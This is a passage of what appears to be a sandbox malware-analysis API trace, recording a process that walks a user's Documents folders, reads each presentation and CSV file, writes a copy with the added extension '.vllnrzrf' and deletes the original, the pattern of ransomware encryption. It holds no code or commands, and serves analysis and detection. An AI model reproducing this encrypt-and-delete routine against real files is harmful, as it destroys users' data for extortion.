lpNumberOfBytesWritten=0x1cfcf138*=0x8b48, lpOverlapped=0x0) returned 1 [0101.564] CloseHandle (hObject=0x504) returned 1 [0101.565] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps", nBufferLength=0x105, lpBuffer=0x1cfceb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps", lpFilePart=0x0) returned 0x5f [0101.565] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps", nBufferLength=0x105, lpBuffer=0x1cfcecd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps", lpFilePart=0x0) returned 0x5f [0101.565] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\SfoYJX8aL6-wPv14Ry.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\sfoyjx8al6-wpv14ry.pps")) returned 1 [0101.567] CoUninitialize () Thread: id = 72 os_tid = 0xb6c [0101.575] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0101.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1cfaed40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0101.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaf1a0) returned 1 [0101.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1cfaec90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0101.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\", nBufferLength=0x105, lpBuffer=0x1cfaec30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\", lpFilePart=0x0) returned 0x55 [0101.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\*.*", lpFindFileData=0x1cfaee40 | out: lpFindFileData=0x1cfaee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565fde50, ftCreationTime.dwHighDateTime=0x1d5d942, ftLastAccessTime.dwLowDateTime=0xb7111270, ftLastAccessTime.dwHighDateTime=0x1d5da17, ftLastWriteTime.dwLowDateTime=0xb7111270, ftLastWriteTime.dwHighDateTime=0x1d5da17, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0101.576] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfaee90 | out: lpFindFileData=0x1cfaee90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565fde50, ftCreationTime.dwHighDateTime=0x1d5d942, ftLastAccessTime.dwLowDateTime=0xb7111270, ftLastAccessTime.dwHighDateTime=0x1d5da17, ftLastWriteTime.dwLowDateTime=0xb7111270, ftLastWriteTime.dwHighDateTime=0x1d5da17, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.576] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfaee90 | out: lpFindFileData=0x1cfaee90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17c8e620, ftCreationTime.dwHighDateTime=0x1d5de36, ftLastAccessTime.dwLowDateTime=0x16a82650, ftLastAccessTime.dwHighDateTime=0x1d5dbe5, ftLastWriteTime.dwLowDateTime=0x16a82650, ftLastWriteTime.dwHighDateTime=0x1d5dbe5, nFileSizeHigh=0x0, nFileSizeLow=0x1496c, dwReserved0=0x0, dwReserved1=0x0, cFileName="8Fyfm.pptx", cAlternateFileName="8FYFM~1.PPT")) returned 1 [0101.576] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfaee90 | out: lpFindFileData=0x1cfaee90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca3f9170, ftCreationTime.dwHighDateTime=0x1d5e212, ftLastAccessTime.dwLowDateTime=0x1c00edd0, ftLastAccessTime.dwHighDateTime=0x1d5df23, ftLastWriteTime.dwLowDateTime=0x1c00edd0, ftLastWriteTime.dwHighDateTime=0x1d5df23, nFileSizeHigh=0x0, nFileSizeLow=0xb38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMpW.pptx", cAlternateFileName="MMPW~1.PPT")) returned 1 [0101.576] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfaee90 | out: lpFindFileData=0x1cfaee90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fa40ca0, ftCreationTime.dwHighDateTime=0x1d5df94, ftLastAccessTime.dwLowDateTime=0x2604600, ftLastAccessTime.dwHighDateTime=0x1d5d9a6, ftLastWriteTime.dwLowDateTime=0x2604600, ftLastWriteTime.dwHighDateTime=0x1d5d9a6, nFileSizeHigh=0x0, nFileSizeLow=0xeb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="QrhI-c.csv", cAlternateFileName="")) returned 1 [0101.576] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfaee90 | out: lpFindFileData=0x1cfaee90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191858e0, ftCreationTime.dwHighDateTime=0x1d5e52e, ftLastAccessTime.dwLowDateTime=0x4d09c740, ftLastAccessTime.dwHighDateTime=0x1d5d982, ftLastWriteTime.dwLowDateTime=0x4d09c740, ftLastWriteTime.dwHighDateTime=0x1d5d982, nFileSizeHigh=0x0, nFileSizeLow=0xa921, dwReserved0=0x0, dwReserved1=0x0, cFileName="RKp5K.odp", cAlternateFileName="")) returned 1 [0101.577] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfaee90 | out: lpFindFileData=0x1cfaee90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1405e8b0, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xdf872600, ftLastAccessTime.dwHighDateTime=0x1d5e105, ftLastWriteTime.dwLowDateTime=0xdf872600, ftLastWriteTime.dwHighDateTime=0x1d5e105, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uhXCAn3bENH9J2sM Go", cAlternateFileName="UHXCAN~1")) returned 1 [0101.577] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfaee90 | out: lpFindFileData=0x1cfaee90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1405e8b0, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xdf872600, ftLastAccessTime.dwHighDateTime=0x1d5e105, ftLastWriteTime.dwLowDateTime=0xdf872600, ftLastWriteTime.dwHighDateTime=0x1d5e105, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uhXCAn3bENH9J2sM Go", cAlternateFileName="UHXCAN~1")) returned 0 [0101.577] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0101.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfaf0f0) returned 1 [0101.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfaf0b0) returned 1 [0101.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx", lpFilePart=0x0) returned 0x5f [0101.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx", lpFilePart=0x0) returned 0x5f [0101.578] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx", lpFilePart=0x0) returned 0x5f [0101.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaf090) returned 1 [0101.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\8fyfm.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x480 [0101.578] GetFileType (hFile=0x480) returned 0x1 [0101.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfaf000) returned 1 [0101.578] GetFileType (hFile=0x480) returned 0x1 [0101.578] GetFileSize (in: hFile=0x480, lpFileSizeHigh=0x1cfaf228 | out: lpFileSizeHigh=0x1cfaf228*=0x0) returned 0x1496c [0101.579] ReadFile (in: hFile=0x480, lpBuffer=0x23d5930, nNumberOfBytesToRead=0x1496c, lpNumberOfBytesRead=0x1cfaf158, lpOverlapped=0x0 | out: lpBuffer=0x23d5930*, lpNumberOfBytesRead=0x1cfaf158*=0x1496c, lpOverlapped=0x0) returned 1 [0101.580] CloseHandle (hObject=0x480) returned 1 [0101.599] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx.vllnrzrf", lpFilePart=0x0) returned 0x68 [0101.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaf090) returned 1 [0101.599] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\8fyfm.pptx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x480 [0101.604] GetFileType (hFile=0x480) returned 0x1 [0101.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfaf000) returned 1 [0101.604] GetFileType (hFile=0x480) returned 0x1 [0101.604] WriteFile (in: hFile=0x480, lpBuffer=0x226dd38*, nNumberOfBytesToWrite=0x14b6c, lpNumberOfBytesWritten=0x1cfaf1b8, lpOverlapped=0x0 | out: lpBuffer=0x226dd38*, lpNumberOfBytesWritten=0x1cfaf1b8*=0x14b6c, lpOverlapped=0x0) returned 1 [0102.062] CloseHandle (hObject=0x480) returned 1 [0102.065] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx", lpFilePart=0x0) returned 0x5f [0102.065] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx", nBufferLength=0x105, lpBuffer=0x1cfaed50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx", lpFilePart=0x0) returned 0x5f [0102.066] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\8Fyfm.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\8fyfm.pptx")) returned 1 [0102.068] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx", lpFilePart=0x0) returned 0x5e [0102.068] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx", lpFilePart=0x0) returned 0x5e [0102.068] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx", lpFilePart=0x0) returned 0x5e [0102.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaf090) returned 1 [0102.068] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\mmpw.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x480 [0102.069] GetFileType (hFile=0x480) returned 0x1 [0102.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfaf000) returned 1 [0102.069] GetFileType (hFile=0x480) returned 0x1 [0102.069] GetFileSize (in: hFile=0x480, lpFileSizeHigh=0x1cfaf228 | out: lpFileSizeHigh=0x1cfaf228*=0x0) returned 0xb38d [0102.069] ReadFile (in: hFile=0x480, lpBuffer=0x2283648, nNumberOfBytesToRead=0xb38d, lpNumberOfBytesRead=0x1cfaf158, lpOverlapped=0x0 | out: lpBuffer=0x2283648*, lpNumberOfBytesRead=0x1cfaf158*=0xb38d, lpOverlapped=0x0) returned 1 [0102.070] CloseHandle (hObject=0x480) returned 1 [0102.080] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx.vllnrzrf", lpFilePart=0x0) returned 0x67 [0102.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaf090) returned 1 [0102.080] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\mmpw.pptx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x480 [0102.081] GetFileType (hFile=0x480) returned 0x1 [0102.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfaf000) returned 1 [0102.081] GetFileType (hFile=0x480) returned 0x1 [0102.081] WriteFile (in: hFile=0x480, lpBuffer=0x22c2ec8*, nNumberOfBytesToWrite=0xb58d, lpNumberOfBytesWritten=0x1cfaf1b8, lpOverlapped=0x0 | out: lpBuffer=0x22c2ec8*, lpNumberOfBytesWritten=0x1cfaf1b8*=0xb58d, lpOverlapped=0x0) returned 1 [0102.086] CloseHandle (hObject=0x480) returned 1 [0102.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx", lpFilePart=0x0) returned 0x5e [0102.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx", nBufferLength=0x105, lpBuffer=0x1cfaed50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx", lpFilePart=0x0) returned 0x5e [0102.088] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\MMpW.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\mmpw.pptx")) returned 1 [0102.117] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv", lpFilePart=0x0) returned 0x5f [0102.117] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv", lpFilePart=0x0) returned 0x5f [0102.117] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv", lpFilePart=0x0) returned 0x5f [0102.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaf090) returned 1 [0102.117] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\qrhi-c.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x480 [0102.118] GetFileType (hFile=0x480) returned 0x1 [0102.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfaf000) returned 1 [0102.118] GetFileType (hFile=0x480) returned 0x1 [0102.118] GetFileSize (in: hFile=0x480, lpFileSizeHigh=0x1cfaf228 | out: lpFileSizeHigh=0x1cfaf228*=0x0) returned 0xeb20 [0102.118] ReadFile (in: hFile=0x480, lpBuffer=0x22cf1f8, nNumberOfBytesToRead=0xeb20, lpNumberOfBytesRead=0x1cfaf158, lpOverlapped=0x0 | out: lpBuffer=0x22cf1f8*, lpNumberOfBytesRead=0x1cfaf158*=0xeb20, lpOverlapped=0x0) returned 1 [0102.119] CloseHandle (hObject=0x480) returned 1 [0102.130] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv.vllnrzrf", lpFilePart=0x0) returned 0x68 [0102.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaf090) returned 1 [0102.130] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\qrhi-c.csv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x480 [0102.377] GetFileType (hFile=0x480) returned 0x1 [0102.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfaf000) returned 1 [0102.377] GetFileType (hFile=0x480) returned 0x1 [0102.377] WriteFile (in: hFile=0x480, lpBuffer=0x23214f8*, nNumberOfBytesToWrite=0xed20, lpNumberOfBytesWritten=0x1cfaf1b8, lpOverlapped=0x0 | out: lpBuffer=0x23214f8*, lpNumberOfBytesWritten=0x1cfaf1b8*=0xed20, lpOverlapped=0x0) returned 1 [0103.524] CloseHandle (hObject=0x480) returned 1 [0103.593] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv", lpFilePart=0x0) returned 0x5f [0103.593] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv", nBufferLength=0x105, lpBuffer=0x1cfaed50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv", lpFilePart=0x0) returned 0x5f [0103.593] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\QrhI-c.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\qrhi-c.csv")) returned 1 [0103.622] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp", lpFilePart=0x0) returned 0x5e [0103.622] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp", lpFilePart=0x0) returned 0x5e [0103.622] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp", nBufferLength=0x105, lpBuffer=0x1cfaebb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp", lpFilePart=0x0) returned 0x5e [0103.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfaf090) returned 1 [0103.622] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\RKp5K.odp" (normalized: "c:\\users\\5p5nrgjn0js 